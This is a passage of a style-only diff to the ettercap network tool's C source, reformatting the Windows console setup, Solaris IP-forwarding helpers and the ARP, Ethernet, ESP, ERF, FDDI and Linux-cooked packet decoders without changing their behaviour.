("NCURSES_TRACE=1"); - } + if (env && atoi(env) > 0) { + traceon(); + putenv("NCURSES_TRACE=1"); + } - putenv ("PDC_RESTORE_SCREEN=1"); - putenv ("PDC_PRESERVE_SCREEN=1"); + putenv("PDC_RESTORE_SCREEN=1"); + putenv("PDC_PRESERVE_SCREEN=1"); #if 0 - /* if stdout is redirected, initscr() fails with - * "LINES value must be >= 2 and <= x: got y" - */ - if (isatty(fileno(stdout)) <= 0) { - putenv ("COLS=2"); - putenv ("LINES=2"); - } + /* if stdout is redirected, initscr() fails with + * "LINES value must be >= 2 and <= x: got y" + */ + if (isatty(fileno(stdout)) <= 0) { + putenv("COLS=2"); + putenv("LINES=2"); + } #endif #endif } @@ -1092,15 +1085,15 @@ static void pdc_ncurses_init (void) /* * Check if we're linked as a GUI app. */ -static BOOL is_gui_app (void) +static BOOL is_gui_app(void) { - const IMAGE_DOS_HEADER *dos; - const IMAGE_NT_HEADERS *nt; - HMODULE mod = GetModuleHandle (NULL); + const IMAGE_DOS_HEADER *dos; + const IMAGE_NT_HEADERS *nt; + HMODULE mod = GetModuleHandle(NULL); - dos = (const IMAGE_DOS_HEADER*) mod; - nt = (const IMAGE_NT_HEADERS*) ((const BYTE*)mod + dos->e_lfanew); - return (nt->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI); + dos = (const IMAGE_DOS_HEADER *)mod; + nt = (const IMAGE_NT_HEADERS *)((const BYTE *)mod + dos->e_lfanew); + return nt->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_GUI; } /* @@ -1109,113 +1102,111 @@ static BOOL is_gui_app (void) * using printf() etc. If using GTK interface (option "-G"), don't * create a console. */ -static void setup_console (void) +static void setup_console(void) { #if !defined(BUILDING_UTILS) - BOOL (WINAPI *_AttachConsole)(DWORD) = NULL; - HMODULE mod; - DWORD rc = 0; - STARTUPINFO inf; - const char *cmd_line = GetCommandLine(); - BOOL is_ec = (cmd_line && strstr(cmd_line,"ettercap")); - BOOL use_gtk = (is_ec && strstr(cmd_line,"-G") != NULL); - - if (!is_ec || use_gtk) /* GTK UI shouldn't need a console */ - return; - - /* Note: this is true even when started minimized - * (nCmdShow == SW_MINIMISED), but fails if program started as - * another user - */ - memset (&inf, 0, sizeof(inf)); - GetStartupInfo (&inf); - - started_from_a_gui = (inf.dwFlags & STARTF_USESHOWWINDOW); - - /* check if correct linker option used - */ - if (!is_gui_app()) { - MessageBox (NULL, "You must relink this application with\n" - "\"-Wl,--subsystem,windows\"\n", "Error", + BOOL(WINAPI * _AttachConsole)(DWORD) = NULL; + HMODULE mod; + DWORD rc = 0; + STARTUPINFO inf; + const char *cmd_line = GetCommandLine(); + BOOL is_ec = (cmd_line && strstr(cmd_line, "ettercap")); + BOOL use_gtk = (is_ec && strstr(cmd_line, "-G") != NULL); + + if (!is_ec || use_gtk) /* GTK UI shouldn't need a console */ + return; + + /* Note: this is true even when started minimized + * (nCmdShow == SW_MINIMISED), but fails if program started as + * another user + */ + memset(&inf, 0, sizeof(inf)); + GetStartupInfo(&inf); + + started_from_a_gui = (inf.dwFlags & STARTF_USESHOWWINDOW); + + /* check if correct linker option used + */ + if (!is_gui_app()) { + MessageBox(NULL, "You must relink this application with\n" + "\"-Wl,--subsystem,windows\"\n", "Error", MB_ICONEXCLAMATION | MB_SETFOREGROUND); - exit (-1); - } - - mod = GetModuleHandle ("kernel32.dll"); - if (mod) - _AttachConsole = (BOOL (WINAPI*)(DWORD)) GetProcAddress((HINSTANCE)mod, "AttachConsole"); - - attached_to_console = FALSE; - - /* If parent doesn't have a console, AttachConsole() will fail and - * we use AllocConsole() instead. - * Note: AttachConsole() was introduced in Win-2000, so for Win-ME/9x, - * we simply try AllocConsole(). - */ - if (_AttachConsole) { - if ((*_AttachConsole)(ATTACH_PARENT_PROCESS)) - attached_to_console = TRUE; - else - rc = GetLastError(); - } - - if (!attached_to_console && !AllocConsole()) { - char error[256]; - - snprintf (error, 256, "AllocConsole failed; error %lu", GetLastError()); - MessageBox (NULL, error, "Fatal", MB_ICONEXCLAMATION | MB_SETFOREGROUND); - exit (-1); - } - - /* Synchronise std-handles with the new console - */ - freopen ("CONIN$", "rt", stdin); - freopen ("CONOUT$", "wt", stdout); - freopen ("CONOUT$", "wt", stderr); + exit(-1); + } + + mod = GetModuleHandle("kernel32.dll"); + if (mod) + _AttachConsole = (BOOL(WINAPI *)(DWORD))GetProcAddress((HINSTANCE)mod, "AttachConsole"); + + attached_to_console = FALSE; + + /* If parent doesn't have a console, AttachConsole() will fail and + * we use AllocConsole() instead. + * Note: AttachConsole() was introduced in Win-2000, so for Win-ME/9x, + * we simply try AllocConsole(). + */ + if (_AttachConsole) { + if ((*_AttachConsole)(ATTACH_PARENT_PROCESS)) + attached_to_console = TRUE; + else + rc = GetLastError(); + } + + if (!attached_to_console && !AllocConsole()) { + char error[256]; + + snprintf(error, 256, "AllocConsole failed; error %lu", GetLastError()); + MessageBox(NULL, error, "Fatal", MB_ICONEXCLAMATION | MB_SETFOREGROUND); + exit(-1); + } + + /* Synchronise std-handles with the new console + */ + freopen("CONIN$", "rt", stdin); + freopen("CONOUT$", "wt", stdout); + freopen("CONOUT$", "wt", stderr); #if 0 - printf ("_AttachConsole %p, rc %lu, started_from_a_gui %d, attached_to_console %d\n", + printf("_AttachConsole %p, rc %lu, started_from_a_gui %d, attached_to_console %d\n", _AttachConsole, rc, started_from_a_gui, attached_to_console); #endif - has_console = TRUE; + has_console = TRUE; #endif /* BUILDING_UTILS */ } -static void __attribute__((destructor)) exit_console (void) +static void __attribute__((destructor)) exit_console(void) { #if !defined(BUILDING_UTILS) - if (!has_console) - return; - - if (started_from_a_gui || !attached_to_console) { - puts("\nPress any key to exit"); - _getch(); - } - else { - /* - * The calling shell doesn't append a to the cmd-line when we exit a - * GUI app. Get the prompt back by putting a in the console input queue. - */ - HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE); - - if (!started_from_a_gui && hStdin != INVALID_HANDLE_VALUE) { - INPUT_RECORD rec; - DWORD written; - - memset (&rec, 0, sizeof(rec)); - rec.EventType = KEY_EVENT; - rec.Event.KeyEvent.bKeyDown = TRUE; - rec.Event.KeyEvent.wRepeatCount = 1; - rec.Event.KeyEvent.wVirtualKeyCode = 13; - rec.Event.KeyEvent.uChar.AsciiChar = 13; - WriteConsoleInput(hStdin, &rec, 1, &written); - } - } - FreeConsole(); /* free allocated or attached console */ - has_console = FALSE; + if (!has_console) + return; + + if (started_from_a_gui || !attached_to_console) { + puts("\nPress any key to exit"); + _getch(); + } else { + /* + * The calling shell doesn't append a to the cmd-line when we exit a + * GUI app. Get the prompt back by putting a in the console input queue. + */ + HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE); + + if (!started_from_a_gui && hStdin != INVALID_HANDLE_VALUE) { + INPUT_RECORD rec; + DWORD written; + + memset(&rec, 0, sizeof(rec)); + rec.EventType = KEY_EVENT; + rec.Event.KeyEvent.bKeyDown = TRUE; + rec.Event.KeyEvent.wRepeatCount = 1; + rec.Event.KeyEvent.wVirtualKeyCode = 13; + rec.Event.KeyEvent.uChar.AsciiChar = 13; + WriteConsoleInput(hStdin, &rec, 1, &written); + } + } + FreeConsole(); /* free allocated or attached console */ + has_console = FALSE; #endif } /* EOF */ - diff --git a/src/os/ec_solaris.c b/src/os/ec_solaris.c index 8da7bacea..241307644 100644 --- a/src/os/ec_solaris.c +++ b/src/os/ec_solaris.c @@ -1,21 +1,21 @@ /* - ettercap -- solaris specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- solaris specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -56,27 +56,26 @@ void disable_ip_forward(void) /* Call IOCTL to return status */ - if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) + if ((ioctl(fd, I_STR, (char *)&strIo)) == -1) ERROR_MSG("ioctl(I_STR)"); - if (strIo.ic_cmd == ND_GET) { strncpy(saved_status, buf, 2); - } + } DEBUG_MSG("disable_ip_forward -- previous value = %s", saved_status); memset(buf, '\0', sizeof(buf)); snprintf(buf, 13, "%s", cp); /* the format is "element"\0"value"\0 */ - buf[strlen(buf) + 1] = '0'; + buf[strlen(buf) + 1] = '0'; strIo.ic_cmd = ND_SET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; - if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) + if ((ioctl(fd, I_STR, (char *)&strIo)) == -1) ERROR_MSG("ioctl(I_STR)"); DEBUG_MSG("Inet_DisableForwarding -- NEW value = 0"); @@ -94,13 +93,13 @@ void restore_ip_forward(void) /* no need to restore anything */ if (saved_status[0] == '0') return; - + cp = "ip_forwarding"; memset(buf, '\0', sizeof(buf)); snprintf(buf, 13, "%s", cp); /* the format is "element"\0"value"\0 */ - snprintf(buf + strlen(buf)+1, 2, "%s", saved_status); + snprintf(buf + strlen(buf) + 1, 2, "%s", saved_status); DEBUG_MSG("ATEXIT: restore_ip_forward -- restoring to value = %s", saved_status); @@ -110,11 +109,10 @@ void restore_ip_forward(void) strIo.ic_dp = buf; /* Call IOCTL to set the status */ - if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) + if ((ioctl(fd, I_STR, (char *)&strIo)) == -1) FATAL_ERROR("Please restore manually the ip_forwarding value to %s", saved_status); close(fd); - } #ifdef WITH_IPV6 @@ -138,27 +136,26 @@ void disable_ipv6_forward(void) /* Call IOCTL to return status */ - if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) + if ((ioctl(fd, I_STR, (char *)&strIo)) == -1) ERROR_MSG("ioctl(I_STR)"); - if (strIo.ic_cmd == ND_GET) { strncpy(saved_status_v6, buf, 2); - } + } DEBUG_MSG("disable_ipv6_forward -- previous value = %s", saved_status_v6); memset(buf, '\0', sizeof(buf)); snprintf(buf, 14, "%s", cp); /* the format is "element"\0"value"\0 */ - buf[strlen(buf) + 1] = '0'; + buf[strlen(buf) + 1] = '0'; strIo.ic_cmd = ND_SET; strIo.ic_timout = 0; strIo.ic_len = sizeof(buf); strIo.ic_dp = buf; - if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) + if ((ioctl(fd, I_STR, (char *)&strIo)) == -1) ERROR_MSG("ioctl(I_STR)"); DEBUG_MSG("Inet6_DisableForwarding -- NEW value = 0"); @@ -175,13 +172,13 @@ void restore_ipv6_forward(void) /* no need to restore anything */ if (saved_status_v6[0] == '0') return; - + cp = "ip6_forwarding"; memset(buf, '\0', sizeof(buf)); snprintf(buf, 14, "%s", cp); /* the format is "element"\0"value"\0 */ - snprintf(buf + strlen(buf)+1, 2, "%s", saved_status_v6); + snprintf(buf + strlen(buf) + 1, 2, "%s", saved_status_v6); DEBUG_MSG("ATEXIT: restore_ipv6_forward -- restoring to value = %s", saved_status_v6); @@ -191,24 +188,24 @@ void restore_ipv6_forward(void) strIo.ic_dp = buf; /* Call IOCTL to set the status */ - if ( (ioctl(fd, I_STR, (char *)&strIo)) == -1 ) + if ((ioctl(fd, I_STR, (char *)&strIo)) == -1) FATAL_ERROR("Please restore manually the ip6_forwarding value to %s", saved_status_v6); close(fd); - } + #endif -/* - * get the MTU parameter from the interface +/* + * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { int sock, mtu; struct ifreq ifr; - + #if !defined(ifr_mtu) && defined(ifr_metric) - #define ifr_mtu ifr_metric +#define ifr_mtu ifr_metric #endif /* open the socket to work on */ @@ -217,22 +214,21 @@ u_int16 get_iface_mtu(const char *iface) FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); - + /* get the MTU */ - if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { + if (ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } - + close(sock); - + return mtu; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_arp.c b/src/protocols/ec_arp.c index 0db4c3304..8aa106111 100644 --- a/src/protocols/ec_arp.c +++ b/src/protocols/ec_arp.c @@ -1,23 +1,23 @@ /* - ettercap -- ARP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ARP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,11 +25,11 @@ /* globals */ struct arp_header { - u_int16 ar_hrd; /* Format of hardware address. */ - u_int16 ar_pro; /* Format of protocol address. */ - u_int8 ar_hln; /* Length of hardware address. */ - u_int8 ar_pln; /* Length of protocol address. */ - u_int16 ar_op; /* ARP opcode (command). */ + u_int16 ar_hrd; /* Format of hardware address. */ + u_int16 ar_pro; /* Format of protocol address. */ + u_int8 ar_hln; /* Length of hardware address. */ + u_int8 ar_pln; /* Length of protocol address. */ + u_int16 ar_op; /* ARP opcode (command). */ #define ARPOP_REQUEST 1 /* ARP request. */ #define ARPOP_REPLY 2 /* ARP reply. */ #define ARPOP_RREQUEST 3 /* RARP request. */ @@ -37,10 +37,10 @@ struct arp_header { }; struct arp_eth_header { - u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ - u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ - u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ - u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ + u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ + u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ + u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ + u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ }; /* protos */ @@ -60,14 +60,13 @@ void __init arp_init(void) add_decoder(NET_LAYER, LL_TYPE_ARP, decode_arp); } - FUNC_DECODER(decode_arp) { struct arp_header *arp; /* don't complain about unused var */ - (void) DECODE_DATALEN; - + (void)DECODE_DATALEN; + arp = (struct arp_header *)DECODE_DATA; /* @@ -75,58 +74,56 @@ FUNC_DECODER(decode_arp) * header + size of the hard address + proto address * for the sender and the target */ - + DECODED_LEN = sizeof(struct arp_header) + - 2 * (arp->ar_hln + arp->ar_pln); + 2 * (arp->ar_hln + arp->ar_pln); PACKET->L3.len = DECODED_LEN; PACKET->L3.header = (u_char *)DECODE_DATA; PACKET->L3.options = NULL; - + PACKET->L3.proto = htons(LL_TYPE_ARP); - + /* ARP discovered hosts are always local ;) */ PACKET->PASSIVE.flags |= FP_HOST_LOCAL; - + if (arp->ar_hln == MEDIA_ADDR_LEN && arp->ar_pln == IP_ADDR_LEN) { - + struct arp_eth_header *earp; earp = (struct arp_eth_header *)(arp + 1); - + ip_addr_init(&PACKET->L3.src, AF_INET, (u_char *)&earp->arp_spa); ip_addr_init(&PACKET->L3.dst, AF_INET, (u_char *)&earp->arp_tpa); - - /* - * for ARP packets we can overwrite the L2 addresses with the - * information within the ARP header + /* + * for ARP packets we can overwrite the L2 addresses with the + * information within the ARP header */ memcpy(PACKET->L2.src, (char *)&earp->arp_sha, MEDIA_ADDR_LEN); memcpy(PACKET->L2.dst, (char *)&earp->arp_tha, MEDIA_ADDR_LEN); - - /* - * HOOK POINT: HOOK_PACKET_ARP + + /* + * HOOK POINT: HOOK_PACKET_ARP * differentiate between REQUEST and REPLY */ if (ntohs(arp->ar_op) == ARPOP_REQUEST) hook_point(HOOK_PACKET_ARP_RQ, po); else if (ntohs(arp->ar_op) == ARPOP_REPLY) hook_point(HOOK_PACKET_ARP_RP, po); - + /* ARP packets are always local (our machine is at distance 0) */ if (!ip_addr_cmp(&po->L3.src, &GBL_IFACE->ip)) PACKET->L3.ttl = 0; else PACKET->L3.ttl = 1; - + /* HOOK_PACKET_ARP is for all type of arp, no distinctions */ hook_point(HOOK_PACKET_ARP, po); } - + return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_cooked.c b/src/protocols/ec_cooked.c index c2f7b2cad..1ef143e4e 100644 --- a/src/protocols/ec_cooked.c +++ b/src/protocols/ec_cooked.c @@ -1,23 +1,23 @@ /* - ettercap -- Linux cooked decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- Linux cooked decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,7 +26,7 @@ /* globals */ #define COOKED_LEN 16 #define PROTO_OFFSET 14 -#define SENT_BY_US 4 +#define SENT_BY_US 4 /* protos */ @@ -47,13 +47,12 @@ void __init cook_init(void) add_aligner(IL_TYPE_COOK, align_cook); } - FUNC_DECODER(decode_cook) { FUNC_DECODER_PTR(next_decoder); u_int16 proto; u_int16 pck_type; - char bogus_mac[6]="\x00\x01\x00\x01\x00\x01"; + char bogus_mac[6] = "\x00\x01\x00\x01\x00\x01"; DECODED_LEN = COOKED_LEN; proto = pntos(DECODE_DATA + PROTO_OFFSET); @@ -72,8 +71,8 @@ FUNC_DECODER(decode_cook) memcpy(PACKET->L2.src, bogus_mac, ETH_ADDR_LEN); else memcpy(PACKET->L2.dst, bogus_mac, ETH_ADDR_LEN); - - next_decoder = get_decoder(NET_LAYER, proto); + + next_decoder = get_decoder(NET_LAYER, proto); EXECUTE_DECODER(next_decoder); return NULL; @@ -91,4 +90,3 @@ FUNC_ALIGNER(align_cook) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_erf.c b/src/protocols/ec_erf.c index 39b52a863..e979bd253 100644 --- a/src/protocols/ec_erf.c +++ b/src/protocols/ec_erf.c @@ -1,23 +1,23 @@ /* - ettercap -- ERF (endace) decoder module - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ERF (endace) decoder module + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,15 +25,14 @@ /* globals */ -struct erf_header -{ - u_int32 timestamp1; - u_int32 timestamp2; - u_int8 type; - u_int8 flags; - u_int16 rlen; - u_int16 color; - u_int16 wlen; +struct erf_header { + u_int32 timestamp1; + u_int32 timestamp2; + u_int8 type; + u_int8 flags; + u_int16 rlen; + u_int16 color; + u_int16 wlen; }; /* protos */ @@ -55,7 +54,6 @@ void __init erf_init(void) add_aligner(IL_TYPE_ERF, align_erf); } - FUNC_DECODER(decode_erf) { FUNC_DECODER_PTR(next_decoder); @@ -100,4 +98,3 @@ FUNC_ALIGNER(align_erf) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_esp.c b/src/protocols/ec_esp.c index a3e5107ce..f0538497c 100644 --- a/src/protocols/ec_esp.c +++ b/src/protocols/ec_esp.c @@ -1,23 +1,23 @@ /* - ettercap -- ESP decoder module - - Copyright (C) CaptainMcSpankyPants - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ESP decoder module + * + * Copyright (C) CaptainMcSpankyPants + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,11 +26,10 @@ /* globals */ struct esp_header { - uint32_t spi; /* Security Parameters Index */ - uint32_t seq; /* Sequence Number */ + uint32_t spi; /* Security Parameters Index */ + uint32_t seq; /* Sequence Number */ }; - /* protos */ FUNC_DECODER(decode_esp); @@ -48,12 +47,11 @@ void __init esp_init(void) add_decoder(PROTO_LAYER, NL_TYPE_ESP, decode_esp); } - FUNC_DECODER(decode_esp) { FUNC_DECODER_PTR(next_decoder); struct esp_header *esp; - + esp = (struct esp_header *)DECODE_DATA; DECODED_LEN = sizeof(struct esp_header); @@ -61,16 +59,16 @@ FUNC_DECODER(decode_esp) PACKET->L4.proto = NL_TYPE_ESP; /* since ICMPv6 header has no such field */ PACKET->L4.len = PACKET->L3.payload_len; - PACKET->L4.header = (u_char*)DECODE_DATA; + PACKET->L4.header = (u_char *)DECODE_DATA; PACKET->L4.options = NULL; PACKET->L4.optlen = 0; PACKET->L4.flags = 0; PACKET->DATA.data = ((u_char *)esp) + sizeof(struct esp_header); - + /* HOOK POINT: HOOK_PACKET_ESP */ hook_point(HOOK_PACKET_ESP, po); - + /* get the next decoder */ next_decoder = get_decoder(APP_LAYER, PL_DEFAULT); EXECUTE_DECODER(next_decoder); @@ -78,8 +76,6 @@ FUNC_DECODER(decode_esp) return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_eth.c b/src/protocols/ec_eth.c index 2cf6e260f..7c5e30b91 100644 --- a/src/protocols/ec_eth.c +++ b/src/protocols/ec_eth.c @@ -1,23 +1,23 @@ /* - ettercap -- ETH decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- ETH decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,11 +26,10 @@ /* globals */ -struct eth_header -{ - u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ - u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ - u_int16 proto; /* packet type ID field */ +struct eth_header { + u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ + u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ + u_int16 proto; /* packet type ID field */ }; /* protos */ @@ -54,47 +53,45 @@ void __init eth_init(void) add_aligner(IL_TYPE_ETH, align_eth); } - FUNC_DECODER(decode_eth) { FUNC_DECODER_PTR(next_decoder); struct eth_header *eth; DECODED_LEN = sizeof(struct eth_header); - + eth = (struct eth_header *)DECODE_DATA; /* fill the packet object with sensitive data */ PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_ETH; PACKET->L2.len = DECODED_LEN; - + memcpy(PACKET->L2.src, eth->sha, ETH_ADDR_LEN); memcpy(PACKET->L2.dst, eth->dha, ETH_ADDR_LEN); /* HOOK POINT : HOOK_PACKET_ETH */ hook_point(HOOK_PACKET_ETH, po); - - /* leave the control to the next decoder */ + + /* leave the control to the next decoder */ next_decoder = get_decoder(NET_LAYER, ntohs(eth->proto)); EXECUTE_DECODER(next_decoder); - + /* eth header does not care about modification of upper layer */ - + return NULL; } - /* - * function to create an ethernet header + * function to create an ethernet header */ FUNC_BUILDER(build_eth) { return libnet_autobuild_ethernet( - dst, /* ethernet destination */ - proto, /* protocol type */ - l); /* libnet handle */ + dst, /* ethernet destination */ + proto, /* protocol type */ + l); /* libnet handle */ } /* @@ -103,9 +100,8 @@ FUNC_BUILDER(build_eth) FUNC_ALIGNER(align_eth) { /* 16 is the nearest multiplier of 4 */ - return (16 - sizeof(struct eth_header)); + return 16 - sizeof(struct eth_header); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_fddi.c b/src/protocols/ec_fddi.c index 9c9273a53..9c8b80dc0 100644 --- a/src/protocols/ec_fddi.c +++ b/src/protocols/ec_fddi.c @@ -1,23 +1,23 @@ /* - ettercap -- FDDI decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- FDDI decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,15 +25,14 @@ #include /* globals */ -struct fddi_header -{ - u_int8 frame_control; - u_int8 